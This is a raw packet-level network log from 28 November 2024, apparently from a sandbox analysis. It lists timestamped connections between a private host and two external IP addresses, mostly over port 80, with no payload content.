Nov 28, 2024 17:24:47.140913963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.140953064 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.178931952 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.179008007 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.179064035 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.179274082 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.179291010 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.179301023 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.179306984 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.183039904 CET	49889	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.183074951 CET	443	49889	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.183141947 CET	49889	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.183336020 CET	49889	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.183346987 CET	443	49889	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.202841043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.202897072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.203020096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.203119993 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.203202963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.203248978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.203252077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.203289986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.203917980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.203991890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.204013109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.204061031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.204602957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.204649925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.204755068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.204794884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.205461979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.205504894 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.205522060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.205554962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.206159115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.206250906 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.206259012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.206358910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.206864119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.206914902 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.206983089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.207020998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.207468987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.207577944 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.207586050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.207674980 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.208193064 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.208322048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.208338976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.208384991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.208873034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.208916903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.209023952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.209069014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.209604979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.209645033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.209719896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.209758043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.210339069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.210386038 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.210442066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.210489035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.211034060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.211074114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.211149931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.211208105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.211750984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.211847067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.211903095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.212445974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.212491035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.212568045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.212809086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.213166952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.213176966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.213221073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.213911057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.214027882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.214075089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.214613914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.214658976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.214682102 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.214728117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.215352058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.215395927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.215481997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.215521097 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.216038942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.216075897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.216094017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.216109991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.216758013 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.216801882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.216829062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.216866970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.217525005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.217571974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.217675924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.217842102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.218163967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.218208075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.218281031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.218329906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.218909979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.218950033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.219037056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.219079018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.219616890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.219682932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.219790936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.219830036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.220370054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.220424891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.220487118 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.220525026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.221049070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.221092939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.221206903 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.221247911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.221801996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.221872091 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.221908092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.221923113 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.222476959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.222534895 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.222594976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.222636938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.223210096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.223246098 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.223257065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.223418951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.223884106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.224033117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.224065065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.224215984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.224610090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.224663019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.224756002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.224802017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.225048065 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.225114107 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.225213051 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.225300074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.225337029 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.225347996 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.225358009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.225383997 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.225385904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.225389004 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.225435972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.226172924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.226229906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.228394985 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.228419065 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.228514910 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.228688955 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:47.228703976 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:47.329226971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.329304934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.329498053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.329627037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.329674006 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.329758883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.330172062 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.330274105 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.330424070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.330430031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.330471039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.331108093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.331166983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.331233025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.331343889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.331901073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.331955910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.332175016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.332536936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.332562923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.332604885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.332743883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.332798004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.333141088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.333192110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.333281040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.333357096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.333949089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.334016085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.334074020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.334114075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.334774017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.334846973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.334887028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.334932089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.335403919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.335459948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.335555077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.335613966 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.336077929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.336128950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.336211920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.336383104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.336821079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.336864948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.336961031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.337001085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.337596893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.337657928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.337723970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.337762117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.338319063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.338375092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.338475943 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.338526011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.339138031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.339277983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.339278936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.339365005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.339670897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.339725018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.339809895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.339848995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.340342999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.340395927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.340616941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.340667009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.341061115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.341114044 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.341250896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.341299057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.341775894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.341788054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.341839075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.341854095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.342667103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.342679024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.342716932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.342744112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.404898882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.404915094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.404978037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.405014992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.405015945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.405076027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.405203104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.405267000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.405715942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.405848026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.405867100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.405881882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.406434059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.406474113 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.406599998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.406689882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.406869888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.406882048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.406922102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.407419920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.407469034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.407707930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.407754898 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.408226967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.408277988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.408365965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.408472061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.408890963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.408907890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.408938885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.408958912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.409440041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.409567118 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.409571886 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.409604073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.410238028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.410365105 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.410412073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.411027908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.411039114 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.411065102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.411082983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.411673069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.411721945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.411811113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.411858082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.412341118 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.412394047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.412486076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.412527084 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.413192034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.413204908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.413239002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.413815022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.413898945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.413952112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.413995028 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.414735079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.414747953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.414791107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.414812088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.415374994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.415386915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.415426016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.415925980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.415977001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.416085005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.416134119 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.416589022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.416786909 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.416831017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.417471886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.417556047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.417840958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.417876005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.418131113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.418268919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.418417931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.418457985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.418828964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.418867111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.418967009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.419193983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.419222116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.419235945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.419328928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.419368029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.419750929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.419800997 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.419903994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.419946909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.420526981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.420578957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.420584917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.420623064 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.423069954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.423106909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.423201084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.423233032 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.423789978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.423803091 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.423815012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.423825026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.423836946 CET	80	49813	185.215.113.206	192.168.2.6
